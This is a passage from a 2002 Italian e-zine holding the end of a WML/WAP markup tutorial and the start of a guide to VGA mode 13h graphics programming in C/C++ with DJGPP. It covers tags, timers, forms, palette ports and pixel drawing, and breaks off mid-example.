| poterla richiamare. Deve essere unico all'interno del |
| deck e composto da una sola parola |
| |
| - TITLE >> Definisce il titolo della card, se non é |
| indispensabile meglio non utilizzarlo perché |
| comunque occupa una riga del già piccolo display. |
| |
| - ONENTERFORWARD >> Quando un utente accede con il |
| metodo 'go’ viene automaticamente |
| rediretto proprio verso quel URL |
| |
| - ONENTERBACKWARD >>Quando un utente riaccede con il |
| tasto 'back' viene automaticamente |
| rediretto proprio verso quel URL |
| |
| - ONTIMER >> redirigere l'utente alla pagina specificata come |
| URL in questo attributo allo scadere di un timer |
| di inattività. |
| |
| |
| |
| 5 >>> IL TAG "DO" |
| |
| Consente di specificazione un'azione da svolgere nella card corrente. |
| Può essere un bottone grafico sul display del telefonino, un tasto |
| funzione o speciale sulla tastiera, un comando ad attivazione vocale, |
| etc. |
| |
| <do type="azione" label="etichetta" name="nome"> |
| go|refresh|prev|noop |
| </do> |
| |
| - TYPE >> Indica l‘azione da eseguire. Alcune sono: |
| |
| · type="accept", esegue il contenuto del tag |
| |
| · type="prev ", torna all'ultima pagina visitata |
| |
| · type="reset", resetta il contesto del browser |
| |
| · type="unknow", non specifica alcuna azione |
| |
| |
| |
| - LABEL >> Specifica l'etichetta di testo da associare alla |
| soft-key, meglio non superare i 6 caratteri |
| |
| - NAME >> Definisce l'identificativo del tag. Nella stessa |
| card, non è possibile avere più di un tag "do" con |
| lo stesso nome. |
| |
| |
| |
| All'interno dell'elemento "do" é possibile specificare una delle |
| seguenti azioni : |
| |
| go |
| prev |
| refresh |
| noop |
| TAG AZIONE "go" |
| Specificare l’ URL a cui saltare quando si seleziona quella soft-key. |
| |
| <go href="url"> |
| <setvar nome="nome_variabile" value="valore_da_assegnare"/> |
| </go> |
| |
| href >> url a cui puntare |
| |
| TAG AZIONE "prev" |
| Indirizza la navigazione all'ultima card visitata |
| |
| <prev> |
| <setvar nome="nome_variabile" value="valore_da_assegnare"/> |
| </prev> |
| |
| Per assegnare alla soft-key 'back' il ritorno alla card precedente: |
| |
| <do type="accept" label="Back"> |
| <prev/> |
| </do> |
| |
| |
| |
| TAG AZIONE "refresh" |
| Forza il ricaricamento della card |
| |
| <refresh> |
| <setvar nome="nome_variabile" value="valore_da_assegnare"/> |
| </refresh> |
| |
| <do type="accept" label="Reload"> |
| <refresh/> |
| </do> |
| |
| |
| |
| TAG AZIONE "noop" |
| |
| Indica che non deve essere eseguita alcuna azione |
| |
| <noop/> |
| |
| |
| |
| 6 >>> LINK e COLLEGAMENTI |
| |
| Per inserire un link nella propria pagina é necessario prima definire |
| un'anchor con il tag "anchor" che crea il pulsante attivabile. |
| |
| <anchor title="titolo">...</anchor> |
| |
| <go href="url"/> |
| |
| <anchor> |
| Go to card 2 |
| <go href="#card2"/> |
| </anchor> |
| |
| All'interno del tag "go" é poi possibile specificare anche il tag |
| setvar per cambiare il valore di una o più variabili nella card di |
| destinazione |
| |
| <setvar nome="nome_variabile" value="valore_da_assegnare"/> |
| |
| <wml> |
| |
| <card id="card1" title="Link e anchor"> |
| <p> |
| <anchor title="go_card2">Link to card2! |
| <go href="card2.wml"/> |
| </anchor> |
| </p> |
| <p> |
| <anchor title="prev">Back! |
| <prev/> |
| </anchor> |
| </p> |
| </card> |
| |
| </wml> |
| |
| |
| |
| 7 >>> TEMPLATE e TIMER |
| |
| |
| |
| TEMPLATE |
| E' possibile definire e specificare un metodo sia singolarmente per |
| ogni card sia globalmente condivisibile per tutte le card presenti nel |
| deck risparmiando così di copiare lo stesso codice in più parti del |
| deck. |
| Supponiamo di voler disporre in tutte le card del deck di un |
| pulsante "indietro" che rimandi indietro all'ultima card visitata, |
| ecco come potremmo definire il TEMPLATE: |
| |
| <template> |
| <do type="prev" name="back" label="Back"> |
| <prev/> |
| </do> |
| </template> |
| Ma la possibilità di tornare indietro (back) su una lista di card |
| concatenate ha senso solo dalla seconda in poi, come fare allora per |
| eliminare il tasto Back dalla prima? Sarebbe sufficiente specificare |
| un'azione "noop" corrispondente alla softkey "back" |
| Nell'esempio che segue viene definito un TEMPLATE per il tasto 'Back'. |
| La "card2" avrà quindi la soft-key 'Back' presente, mentre la "card1" |
| no poiché il metodo 'Back' é sovrascritto nella card utilizzando il |
| tag "noop". |
| |
| <wml> |
| <template> |
| <do type="prev" name="Back" label="Back"> |
| <prev/> |
| </do> |
| </template> |
| <card id="card1"> |
| <do type="prev" name="Back"> |
| <noop/> |
| </do> |
| ... |
| </card> |
| <card id="card2"> |
| ... |
| </card> |
| <wml> |
| |
| TIMER |
| permette di gestire i momenti di inattività. Quando si entra in una |
| card il timer viene inizializzato, se l'utente non é ancora "uscito" |
| dalla card al momento del suo scadere viene scatenata l'azione |
| preimpostata e specificata nell'attributo "ontimer" della card stessa. |
| I timer sono indicati in decimi di secondo ed é possibile specificare |
| al massimo un timer per ciascuna card. |
| |
| <timer name="nome_timer" value="valore"/> |
| |
| |
| |
| - NAME >> Specifica il nome di una variabile contenente il |
| valore in decimi di secondo del timer. Usciti dalla |
| card, questa variabile conterrà l’eventuale tempo |
| residuo; zero se il timer é scaduto, un valore |
| positivo se l'utente é uscito volontariamente dalla |
| card prima dello scadere del timer. |
| |
| - VALORE >> Valore di default del timer in decimi di secondo. |
| Se é specificata la variabile in "name" e questa é |
| già settata con un certo valore, allora verrà |
| utilizzato proprio quel valore per il timer, |
| ignorando il valore di default qui indicato. |
| Obbligatorio |
| |
| Nell'esempio seguente si visualizza per 1 secondo il titolo del sito |
| per poi passare al deck home.wml: |
| |
| <wml> |
| <card id="splash" ontimer="home.wml" title="CYBERWORLD.it"> |
| <timer value="10"/> |
| <p align="center"> |
| CYBERWORLD.it<br/> |
| Viaggio nel mondo del WML |
| </p> |
| </card> |
| </wml> |
| |
| 8 >>> LE IMMAGINI IN WML |
| Il WML prevede utilizzo uno specifico tipo di immagine, con un formato |
| particolarmente "leggero" in termini di occupazione di memoria, il |
| WBMP (Wireless BitMap) , una versione a 1 bit (bianco e nero) del |
| formato BMP. Tutte le immagini per essere compatibili con le |
| specifiche e quindi visualizzabili devono quindi essere convertite in |
| WBMP e non devono superare le dimensioni di 150x150 pixel o comunque |
| 1461 pixel complessivi. |
| |
| Per visualizzare un'immagine si ricorre al tag "img": |
| |
| <img src="percorso" alt="descrizione" [vspace="xx"] [hspace="yy"] |
| [align="top|middle|bottom"] [height="aa"] |
| [width="bb"]/> |
| |
| |
| - SRC >> Specifica l'indirizzo URL dell'immagine. Obbligatorio |
| |
| - ALT >> Descrizione dell'immagine. Viene visualizzata al |
| posto dell'immagine in caso di problemi. Obbligatorio |
| |
| - VSPACE >> Specifica in pixel o percentuale lo spazio da |
| lasciare vuoto DESTRA O SINISTRA |
| |
| - HSPACE >> Specifica in pixel o percentuale lo spazio da |
| lasciare vuoto SOPRA SOTTO |
| |
| - ALIGN >> Indica l'allineamento verticale dell'immagine: |
| top, testo allineato al lato superiore |
| dell'immagine; bottom in basso e middle al centro. |
| Opzionale. |
| |
| - HEIGHT HIDTH>> Specificano altezza (height) e larghezza |
| (width) dell'immagine. I valori possono |
| essere espressi in pixel o in percentuale, |
| con la caratteristica che il valore |
| percentuale NON si riferisce alle dimensioni |
| dell'immagine bensì allo spazio disponibile |
| in cui inserirla. Opzionale. |
| |
| Attenzione perche’ il Web server deve inviare l’immagine specificando |
| il corretto tipo MIME: |
| image/vnd.wap.wbmp |
| |
| 9 >>> LE VARIABILI |
| |
| Le variabili possono avere un nome qualsiasi composto da una sequenza |
| di lettere, numeri e caratteri '_' (underscore), purché inizi con il |
| carattere '$'. Se quindi volete utilizzare questo carattere nel testo |
| della vostra pagina WML, dovrete dire al micro-browser che non |
| intendete referenziare una variabile utilizzando la doppia |
| sintassi '$$'. |
| |
| Questo é il carattere $$ |
| |
| verrà visualizzato così: |
| |
| Questo é il carattere $ |
| |
| Fate attenzione che il WML é sensibile alle maiuscole/minuscole, |
| quindi $cyberdude e $Cyberdude non referenziano la stessa variabile, |
| ma bensì due diverse. Una variabile può essere settata attraverso il |
| tag "setvar": |
| |
| <setvar nome="nome_variabile" value="valore_da_assegnare"/> |
| |
| Nell'esempio seguente la variabile $var1 può essere settata al |
| valore "Buongiorno!" oppure cancellata premendo rispettivamente la |
| soft-key etichettata "Set" o "Clear". |
| |
| <wml> |
| <card id="home" title="CYBERWORLD.it"> |
| <p> |
| Variabile:<br/> |
| $var1 |
| <do type="accept" label="Set"> |
| <go href="variables.wml"> |
| <setvar name="var1" value="Buongiorno!"/> |
| </go> |
| </do> |
| <do type="accept" label="Clear"> |
| <go href="variables.wml"> |
| <setvar name="var1" value=""/> |
| </go> |
| </do> |
| </p> |
| </card> |
| </wml> |
| |
| - Premendo "Set" la variabile $var viene settata al |
| valore "Buongiorno!". |
| - Premendo "Clear" invece il valore viene cancellato |
| |
| 10 >>> DECK: UN ESEMPIO COMPLETO |
| |
| Il deck é composto da 3 card. Inizialmente definiamo un template, |
| valido per tutte le card, che attiva la soft-key 'Back' per navigare |
| all'indietro sulle card. La prima card, "splash", visualizza il logo |
| del sito. Premendo il link "continua" oppure entro 5 secondi se |
| l'utente non compie alcuna azione, si viene trasferiti alla card "home". |
| |
| |
| <wml> |
| <template> |
| <do type="prev" name="Back" label="Back"> |
| <prev/> |
| </do> |
| </template> |
| |
| <card id="splash" ontimer="#home" title="CYBERWORLD.it"> |
| <timer value="50"/> |
| <do type="prev" name="Back"> |
| <noop/> |
| </do> |
| <p align="center"> |
| <img src = "cyberdude.wbmp" alt = "CYBERWORLD.it"/><br/> |
| Viaggio nel mondo del WML<br/> |
| <anchor title="Home">Continua<br/> |
| <go href="#home"/> |
| </anchor> |
| </p> |
| </card> |
| |
| <card id="home" title="CYBERWORLD.it"> |
| <p> |
| Menu:<br/> |
| <anchor title="Asp">Asp |
| <go href="Asp.wml"/> |
| </anchor> |
| <br/> |
| <anchor title="hacking">hacking |
| <go href="hacking.wml"/> |
| </anchor> |
| <br/> |
| <anchor title="Info">Info |
| <go href="#info"/> |
| </anchor> |
| </p> |
| </card> |
| |
| <card id="info" title="CYBERWORLD.it"> |
| <p> |
| Benvenuto nel sito WAP sperimentale di CYBERDUDE<br/> |
| In caso di problemi contattate via email: cyberdude.h4ck3r@libero.it |
| <br/><br/> |
| <anchor title="Home">Home<br/> |
| <go href="#home"/> |
| </anchor> |
| </p> |
| </card> |
| </wml> |
| |
| 11 >>> FORM INPUT DELL'UTENTE. Parte 1 |
| Il WML prevede la possibilità di gestire degli input provenienti da |
| scelte inserite dall'utente. |
| Tag <input> |
| Simile all'HTML. L'utente può inserire il testo attraverso la tastiera |
| del telefonino. |
| <input name="nome" [value="valore"] [type="password|text"] |
| [emptyok="true|false"] [size="num"] [length="num"]> |
| |
| - NAME >> Nome della variabile che verrà settata con |
| il contenuto inserito dall'utente. |
| Obbligatorio |
| - VALUE >> Valore di default del campo. Nel caso in |
| cui la variabile specificata in name |
| contenga già un valore, l’attributo value |
| viene ignorato. |
| - TYPE >> Indica il campo é una password oppure un |
| normale testo. Nel primo caso all’atto della |
| digitazione il testo verrà sostituito con |
| degli asterischi. |
| - EMPTYOK >> Settato a 'TRUE' accetta in input stringe |
| vuote. |
| - SIZE >> Dimensione, in numero di caratteri, |
| dell’area di input. |
| - MAXLENGHT >> Numero massimo di caratteri digitabili. |
| - FORMAT >> specifica una maschera di input. E |
| possibile indicare il tipo di carattere per |
| ciascuna posizione della stringa. |
| |
| A qualsiasi carattere alfabetico maiuscolo o di punteggiatura |
| a qualsiasi carattere alfabetico minuscolo o di punteggiatura |
| N qualsiasi carattere numerico |
| X qualsiasi carattere maiuscolo |
| x qualsiasi carattere minuscolo |
| M qualsiasi carattere |
| m qualsiasi carattere |
| *f qualsiasi numero di caratteri del formato f, dove f è uno dei |
| suddetti formati |
| nf un numero n di caratteri del formato f, dove f è uno dei suddetti |
| formati e n è un numero intero da 1 a 9 |
| |
| |
| Quindi ricapitoliamo la situazione : |
| |
| Si vuole richiedere un campo di testo di al massimo 32 caratteri |
| alfanumerici: |
| |
| <input name="nome" type="text" maxlength="32"/> |
| |
| Lo stesso del caso precedente, ma con valore di default pari |
| a "Marcello": |
| |
| <input name="nome" type="text" value="Marcello" maxlength="32"/> |
| |
| Oppure un numero di due cifre: |
| |
| <input name="eta" type="text" format="NN"/>

  
|
| |
| Ed infine un campo particolare, tre caratteri alfabetici maiuscoli, |
| quindi due cifre numeriche più un numero non precisato di caratteri |
| alfabetici generici: |
| |
| <input name="specific" type="text" format="XXXNN*m"/> |
| |
| Tag "postfield" |
| |
| Non viene mostrato sullo schermo. Può essere usato per postare un |
| coppia nome/valore al server. E' molto più potente di un campo |
| nascosto, perché grazie al modo in cui vengono gestite le variabili in |
| WML, potete collezionare informazioni contestuali e quindi passarle al |
| server tutte insieme. |
| |
| UN ESEMPIO COMPLETO DI FORM |
| |
| <card id="send_email" title="Invia email"> |
| <p> |
| A:<br/> |
| <input type="text" format="*M" emptyok="false" |
| name="To" size="10" maxlength="40"/> |
| Oggetto:<br/> |
| <input type="text" format="*M" emptyok="false" |
| name="Subject" size="10" maxlength="100"/> |
| Messaggio:<br/> |
| <input type="text" format="*M" emptyok="false" |
| name="Body" size="10" maxlength="40"/> |
| Signature:<br/> |
| <select name="Signature"> |
| <option value="yes">yes</option> |
| <option value="no">no</option> |
| </select> |
| <anchor title="Invia">Invia |
| <go href="send_mail.wml"> |
| <postfield name="To" value="$(To)" /> |
| <postfield name="Subject" value="$(Subject)" /> |
| <postfield name="Body" value="$(Body)" /> |
| <postfield name="Signature" value="$(Signature)" /> |
| </go> |
| </anchor> |
| </p> |
| </card> |
| |
| 12 >>> FORM INPUT DELL'UTENTE. Parte 2 |
| |
| Tag "select" |
| |
| Il tag "select" consente all'utente di selezionare un'opzione da una |
| lista di possibili scelte, ognuna delle quali specificata da un |
| elemento "option". |
| |
| <select name="nome" [multiple="true|false"] [value="valore"] |
| [iname="var_name"] [ivalue="var_valore"]> |
| ... |
| <select> |
| |
| - NAME >> Nome della variabile che verrà settata con il |
| contenuto inserito dall'utente. Obbligatorio |
| |
| - MULTIPLE >> Abilita la scelta multipla. Il default per |
| questa opzione é false. |
| |
| - VALUE >> Valore di default. Nel caso in cui la variabile |
| specificata in "name" contenga già un valore, |
| l’attributo "value" viene ignorato. In caso di |
| scelta multipla, conterrà i vari elementi |
| selezionati separati da punto e virgola. |
| |
| - INAME >> Nome della variabile nella quale è contenuto |
| l'indice di default. Il valore 1 indica la prima |
| option; 0 invece nessuna option selezionata. |
| |
| - IVALUE >> Indica l'indice (numero posizionbale della |
| option) di default. Il valore 1 indica la prima |
| option; 0 invece nessuna option selezionata. |
| |
| Tag "option" |
| |
| Con questo tag possiamo popolare la nostra lista di opzioni. |
| |
| <option [valore="valore"] [onpick="URL"]> |
| ... |
| <option> |
| |
| - VALORE >> Valore da assegnare alla variabile indicata |
| nell'attributo name della "select" nel caso in cui |
| l'opzione venga selezionata |
| |
| - ONPICK >> Con onpick è possibile specificare un URL al |
| quale saltare quando viene selezionata questa |
| opzione. |
| |
| <wml> |
| <card> |
| <p> |
| Seleziona le tue competenze: |
| <select name="HOBHIES" iname="H" ivalue="1;2" multiple="true"> |
| <option value="A">Programmazione</option> |
| <option value="B">Grafica</option> |
| <option value="C">Satellitare</option> |
| </select> |
| </p> |
| </card> |
| </wml> |
| |
| >>> CONCLUSIONI |
| |
| Benissimo ragazzi siamo giunti alla fine di un’altro tutorial, che |
| dire, se l’avete letto con attenzione vi sara’ sembrato molto semplice |
| e credetemi, lo e’!!! hihihihhi adesso vi lascio al vostro |
| divertimento ora tocca lavorare alla vostra fantasia per realizzare |
| splendidi siti WAP. Ciao a tutti |
| |
| Cyberdude >>> www.area91.da.ru >>> cyberdudemail@libero.it |
+--------------------------------------------------------------------------+



+--------------------------------------------------------------------------+
| ONDAQUADRA ~ C0DiNG #08 - 01/11/2002 |
| GUiDA ALLA PR0GRAMMAZi0NE GRAFiCA iN C/C++ [bondo] 0x0E/0x1A |
+--------------------------------------------------------------------------+
| ----------------------------------------------------------------------- |
| |
| guida alla |
| |
| |
| P R O G R A M M A Z I O N E |
| |
| G R A F I C A |
| |
| |
| in C/C++ |
| |
| by |
| |
| b o n d o |
| |
| ---------------------------------------------------------------------- |
| |
| 1. PRELiMiNARi |
| 2. ASSEMBLER RUNS BETTER |
| 3. LA MODALiTA' GRAFiCA |
| 4. COLORi |
| 5. PiXEL |
| 6. DiSEGNAMO! |
| 7. SiNCRONiZZAZiONE |
| 8. DOPPiO BUFFERiNG |
| 9. SPRiTE |
| 10. SPRiTE iN TRASPARENZA |
| 11. SPRiTE FUORi SCHERMO |
| 12. iMMAGiNi |
| 13. STAMPA AUTOMATiZZATA Di SPRiTE |
| 14. CONCLUSiONi |
| |
| |
| |
| |
| .------. |
| | |------------------------------------------------------------- |
| | | PRELiMiNARi |
| | 1 |------------------------------------------------------------- |
| '------' |
| |
| Innanzitutto, questa non è una guida sulla programmazione in C: è |
| necessaria una conoscenza - diciamo pure basilare - per capire e |
| mettere in pratica i pochi concetti spiegati qui. |
| Non è nemmeno una guida sulla creazione di videogiochi, quindi non |
| troverete grafica 3D, textures, rendering, colonne sonore, joystick |
| e via discorrendo. Non è da considerarsi nemmeno una 'bibbia' |
| sull'argomento, in quanto 'errare umanum est'... |
| E' un documento che, inizialmente, ho scritto per uso personale e poi |
| ho deciso di ampliare e condividere con voi tutti: probabilmente, |
| alcuni aspetti non saranno approfonditi, alcuni mancheranno del |
| tutto... |
| Questa guida è stata scritta mano a mano che sperimentavo e scrivevo |
| le varie funzioni: ho presentato tutte le soluzioni che ho |
| implementato, con successive modifiche, i ragionamenti che ci sono |
| dietro perchè credo sia più formativo che presentare solamente il |
| codice finito e commentato. |
| Non lapidatemi se non capite: ho qualche problema con l'italiano... |
| Non arrabbiatevi se non funziona al primo colpo: perseverate... |
| Attenzione: la guida fa riferimento al compilatore C/C++ DJGPP. Non |
| per questo dovete per forza utilizzare questo compilatore, ma |
| alcuni stralci di codice fanno uso di variabili e funzioni proprie |
| di questo strumento... i concetti sono quelli per tutti, se usate un |
| compilatore diverso stà a voi rielaborarli... |
| Ho deciso di utilizzare il DJGPP primo perchè è gratuito e secondo |
| perchè il compilatore borland da' tutta una serie di problemi |
| che non starò qui a elencare. Mi sento di consigliare anche il |
| Watcom C/C++ come compilatore - anche questo free. |
| |
| |
| |
| |
| .------. |
| | |------------------------------------------------------------- |
| | | ASSEMBLER RUNS BETTER |
| | 2 |------------------------------------------------------------- |
| '------' |
| Poichè alcune routine per le operazioni grafiche necessitano di molta |
| velocità che non sempre i costrutti del linguaggio c sono in grado |
| di darci, conviene ricorrere all'assembler. Non staremo qui a |
| spiegare come e dove utilizzare l'assembler, basti solo sapere |
| che si può fare meglio nel caso le vostre esigenze lo richiedano. |
| |
| |
| |
| |
| .------. |
| | |------------------------------------------------------------- |
| | | LA MODALiTA' GRAFiCA |
| | 3 |------------------------------------------------------------- |
| '------' |
| Prima di poter cominciare a disegnare pixel sullo schermo è necessario |
| attivare la modalità grafica. |
| Poichè quando scriviamo un programma per console ci troviamo nella |
| modalità testo, dobbiamo richiamare un interrupt del bios per |
| dire al controller grafico quale modalità grafica vogliamo attivare |
| ed utilizzare. |
| Essere in modalità grafica significa che possiamo agire sui singoli |
| pixel dello schermo. |
| La vga ha diversi tipi di modalità grafiche con risoluzioni e |
| numero di colori diversi: in questa guida noi ci riferiremo |
| sempre alla modalità 320x200 a 256 colori semplicemente per |
| il fatto che è la modalità con risoluzione più alta che |
| ci permette di utilizzare il maggior numero di colori. |
| Per curiosità, vediamo anche le altre modalità grafiche supportate |
| dalla vga: |
| |
| |
| Risoluzione: Colori: Modalità: |
| ----------------------------------------------- |
| 320x200 4 0x04 |
| 640x200 b/w 0x06 |
| 320x200 16 0x0d |
| 640x200 16 0x0e |
| 640x350 monoc. 0x0f |
| 640x350 4 0x10 |
| 640x480 b/w 0x11 |
| 640x480 16 0x12 |
| 320x200 256 0x13 |
| |
| |
| |
| |
| .---------------------------------------------------. |
| | RETTANGOLO DELLA CULTURA \ |
| '-----------------------------------------------------' |
| A questo punto, nasce spontanea una domanda: ma la |
| 1600x1200 a 16 milioni di colori che uso per giocare a Quake |
| Arena? Questa modalità e le altre non sono supportate dallo |
| standard vga... |
| Nei computer attuali, il controller grafico utilizza lo standard |
| SVGA. Lo svga (Super Video Graphics Array) è un'evoluzione del |
| vga e permette di utilizzare risoluzioni elevate e un maggior |
| numero di colori. |
| Rimane comunque una compatibilità verso il vga dei controller |
| svga che ci permette di operare come se ci trovassimo |
| alle prese con un controller vga. |
| |
| |
| |
| |
| Vediamo praticamente come si attiva la modalità grafica. Bisogna |
| richiamare l'interrupt bios 10h, quindi potremmo scrivere 2 righe in |
| assembler, del tipo: |
| |
| |
| mov al, 13h |
| int 10h |
| |
| |
| Portato in una funzione del nostro programma C, diventa: |
| |
| |
| void vgaOpen(){ |
| union REGS reg; |
| reg.x.ax = 0x13; |
| int86(0x10,®,®); |
| } |
| |
| |
| Nulla vieta di usare l'asm inline: |
| |
| |
| void vgaOpen(){ |
| asm mov al, 13h |
| asm int 10h |
| } |
| |
| |
| A questo proposito è necessario tenere conto che i diversi |
| compilatori gestiscono l'assembler inline in modo diverso (il watcom |
| lo gestisce tramite le direttive 'pragma' mentre il djgpp non usa la |
| sintassi dell'assembler Intel ma quella AT&T - bisogna quindi prestare |
| attenzione a questo fatto). |
| Tornando alla spiegazione, vediamo la funzione che, al termine del |
| programma, ripristina la modalità testuale: |
| |
| |
| void vgaClose(){ |
| union REGS reg; |
| reg.x.ax = 0x03; |
| int86(0x10,®,®); |
| } |
| |
| |
| |
| |
| .------. |
| | |------------------------------------------------------------- |
| | | COLORi |
| | 4 |------------------------------------------------------------- |
| '------' |
| Un pixel sullo schermo è definito semplicemente come un colore. Tale |
| colore è un byte scritto nella memoria video. |
| Il byte della memoria video identifica il numero del colore |
| memorizzato nell'hardware grafico. La scheda video contiene i valori |
| di rosso, verde e blu per ognuno dei 256 colori disponibili. |
| L'insieme dei 256 colori forma una palette, la tavolozza. |
| |
| Per intenderci: |
| |
| |
| colore r g b |
| ------------------ |
| 0x01 63 0 63 |
| 0x02 00 63 63 |
| |
| |
| La colonna colore contiene il codice del colore (quello che |
| specificheremo nelle istruzioni per disegnare) mentre r, g e b |
| contengono informazioni sul colore. |
| |
| |
| |
| |
| .---------------------------------------------------. |
| | RETTANGOLO DELLA CULTURA \ |
| '-----------------------------------------------------' |
| I colori su un monitor, come in un televisore, sono |
| ottenuti accostando tre fosfori dei tre colori fondamentali |
| rosso, verde e blu (RGB, dall'inglese red - green - blue). |
| Agendo sull'intensità della luce emanata dai cannoni |
| fotonici che va a colpire i fosfori è possibile ottenere |
| un'infinità di sfumature (sempre che l'hardware lo permetta). |
| |
| |
| |
| |
| Le porte hardware che si utilizzano per modificare la palette del |
| controller grafico sono 2, la 0x3c8 che specifica quale colore |
| stiamo per definire e la 0x3c9 che riceve i valori di RGB per il |
| colore selezionato. |
| |
| Supponiamo di voler modificare il colore 16. Per prima cosa, |
| scriviamo sulla 0x3c8 il numero del colore: |
| |
| |
| outportb(0x3c8, 16); |
| |
| |
| Adesso, scriviamo sulla 0x3c9 i valori di RGB. |
| |
| |
| outportb(0x3c9, r); |
| outportb(0x3c9, g); |
| outportb(0x3c9, b); |
| |
| |
| La porta 0x3c9 a ogni scrittura si incrementa di 1, permettendo di |
| inserire i 3 valori dei colori fondamentali. |
| Definiamo, quindi, una funzione che ci permetta di impostare i colori: |
| |
| |
| void setColor(char color, char r, char g, char b){ |
| outportb(0x3c8, color); |
| outportb(0x3c9, r); |
| outportb(0x3c9, g); |
| outportb(0x3c9, b); |
| } |
| |
| |
| Ricordo che colore è un byte, pertanto è possibile specificare |
| un valore compreso tra 0:255, mentre r, g, b sono valori di |
| soli 6 bit e possono assumere valori compresi tra 0:63. |
| Quando la scrittura di un colore termina, la porta 0x3c8 si |
| incrementa automaticamente e punta al colore successivo. Questa è |
| una caratteristica interessante che ci tornerà utile quando andremo |
| a caricare palette di immagini salvate su file. |
| |
| |
| |
| |
| .------. |
| | |------------------------------------------------------------- |
| | | PiXEL |
| | 5 |------------------------------------------------------------- |
| '------' |
| Bene, adesso che sappiamo come attivare la modalità grafica e come |
| funzionano i colori, passiamo a vedere come si individua un pixel |
| sullo schermo. |
| Lo schermo può essere visto come un sistema di riferimento |
| cartesiano, dove ogni pixel è individuato da una coppia di valori |
| (x, y) che ne determinano le sue coordinate. |
| |
| |
| | |
| - + - - > x |
| | |
| | .-----------------------. |
| V y | | |
| | | |
| yp _ _ _ _ . pixel | |
| | | | |
| | | | |
| | | | |
| '-------|---------------' schermo |
| xp |
| |
| |
| Immaginiamo adesso lo schermo come una matrice di n*m byte (altro non |
| è che la memoria video). |
| Se ogni byte rappresenta il colore del pixel, n equivale alla sua x e |
| m alla sua y. |
| Se vogliamo che il pixel 10, 20 sia rosso, andremo a mettere nella |
| matrice di posto [10][20] il codice colore del rosso. La coordinata |
| base dello schermo è (0; 0) e che quindi la coordinata massima è |
| (319; 199). |
| La coordinata (0; 0) è l'angolo sinistro alto dello schermo. |
| Possiamo quindi dire che scrivendo: |
| |
| |
| vga[10][20] = rosso; |
| |
| |
| andremo a illuminare di rosso il pixel di coordinare x=10 e y=20. |
| vga è un puntatore alla memoria video, ma vedremo più avanti in |
| dettaglio. |
| In teoria, il ragionamento non fa una piega, ma in |
| pratica il compilatore non ci lascia utilizzare la memoria |
| video come un array bidimensionale. |
| Possiamo aggirare il problema con un indirizzamento del genere: |
| |
| |
| vga[10+20*320] = rosso; |
| |
| |
| In questo modo otteniamo lo stesso risultato. |
| Ovviamente questa è una scrittura riferita al pixel (10, 20) su uno |
| schermo largo 320 pixel. |
| In generale è: |
| |
| |
| vga[x+y*larghezza] = colore; |
| |
| |
| Riguardo alla scrittura sulla memoria video, sorgono alcuni problemi |
| relativi alla velocità di calcolo delle coordinate. |
| L'operazione di moltiplicazione y*320 all'interno dell'istruzione: |
| |
| |
| vga[x+y*320] = colore; |
| |
| |
| non è molto veloce, quindi si preferisce sostituirla con: |
| |
| |
| vga[x+(y<<8)+(y<<6)] = rosso; |
| |
| |
| Le due operazioni di shift sono più veloci rispetto alla |
| moltiplicazione e ci portano allo stesso risultato. |
| Tutto ciò è decisamente vero e sensato ma, oggi come oggi, |
| considerata la potenza di calcolo delle ultime cpu, non ritengo sia |
| un fattore rilevante come poteva esserlo su un 286, 386 o 486. |
| Comunque, onde evitare problemi... |
| |
| Si diceva che ci occorre un puntatore alla memoria video per poter |
| agire sui pixel. |
| La memoria video parte dall'indirizzo 0xa0000 ed è un buffer di |
| dimensioni variabili in base al modo grafico. Nel nostro caso, è |
| un'area grande 320x200 byte = 64 kbyte. |
| Definiamo adesso il puntatore: |
| |
| |
| unsigned char *vga = (unsigned char*)0xa0000 |
| |
| |
| Lavorando con il compilatore DJGPP, non è possibile accedere |
| direttamente alla locazione 0xa000 con un puntatore near quale è |
| un unsigned char, pertanto è necessario utilizzare questa scrittura: |
| |
| |
| unsigned char *vga; |
| vga = (unsigned char*)(0xa0000+__djgpp_conventional_base); |
| |
| |
| e chiamare la funzione: |
| |
| |
| __djgpp_nearptr_enable(); |
| |
| |
| Definiamo una funzione che disegna pixel sullo schermo: |
| |
| |
| void drawPixel(short x, short y, char color){ |
| vga[x+(y*320)] = color; |
| } |
| |
| |
| |
| L'esempio che segue colora tutto lo schermo di un colore: |
| |
| |
| #include |
| |
| void drawPixel(short x, short y, char color){ |
| vga[x+(y*320)] = color; |
| } |
| |
| void main(){ |
| __djgpp_nearptr_enable(); |
| unsigned char *vga; |
| vga = (unsigned char*)(0xa0000+__djgpp_conventional_base); |
| |
| vgaOpen(); |
| |
| for(int i=0; i<320; i++){ |
| for(int j=0; j<200; j++) drawPixel(x, y, 0x88); |
| } |
| getch(); |
| |
| vgaClose(); |
| } |
| |
| |
| Cominciamo adesso a fare le prime ottimizzazioni... |
| E' possibile evitare di nidificare due cicli poichè essendo la |
| memoria video una sequenza continua di byte è possibile ottenere lo |
| stesso risultato con: |
| |
| |
| for(int i=0; i<320*200; i++) vga[i] = 0x88; |
| |
| |
| Quindi, un'eventuale cancellazione dell'intero schermo |
| potrebbe essere semplicemente: |
| |
| |
| for(int i=0; i<320*200; i++) vga[i] = NULL; |
| |
| |
| |
| |
| .------. |
| | |------------------------------------------------------------- |
| | | DiSEGNAMO! |
| | 6 |------------------------------------------------------------- |
| '------' |
| Adesso che sappiamo come impostare un pixel, come attivare la modalità |
| grafica e anche come cambiare i colori, proviamo a disegnare qualcosa |
| sullo schermo. |
| Disegnamo un quadrato azzurro. |
| |
| |
| #include |
| |
| void vgaOpen(){ |
| union REGS reg; |
| reg.x.ax = 0x13; |
| int86(0x10,®,®); |
| } |
| void vgaClose(){ |
| union REGS reg; |
| reg.x.ax = 0x03; |
| int86(0x10,®,®); |
| } |
| |
| unsigned char *vga; |
| int x, y, x2, y2; |
| |
| void main(void){ |
| __djgpp_nearptr_enable(); |
| vga = (unsigned char*)(0xa0000+__djgpp_conventional_base); |
| |
| vgaOpen(); |
| |
| x=20; y=20; x2=50; y2=50; |
| |
| for(int i=x; i<x2; i++){ |
| for(int j=y; j<y2; j++){ |
| vga[i+(j*320)] = 0x35; |
| } |
| } |
| getch(); |
| |
| vgaClose(); |
| } |
| |
| |
| Una volta steso il codice va compilato. Per chi utilizzasse il DJGPP |
| come ho consigliato, dal prompt del dos digiti: |
| |
| |
| gpp sorgente.cpp -o eseguibile.exe |
| |
| |
| e poi si lancia eseguibile.exe. |
| Vediamo adesso come muovere il quadratino nello schermo. |
| |
| |
| #include |
| |
| unsigned char *vga; |
| int x, y, direction; |
| |
| void main(void){ |
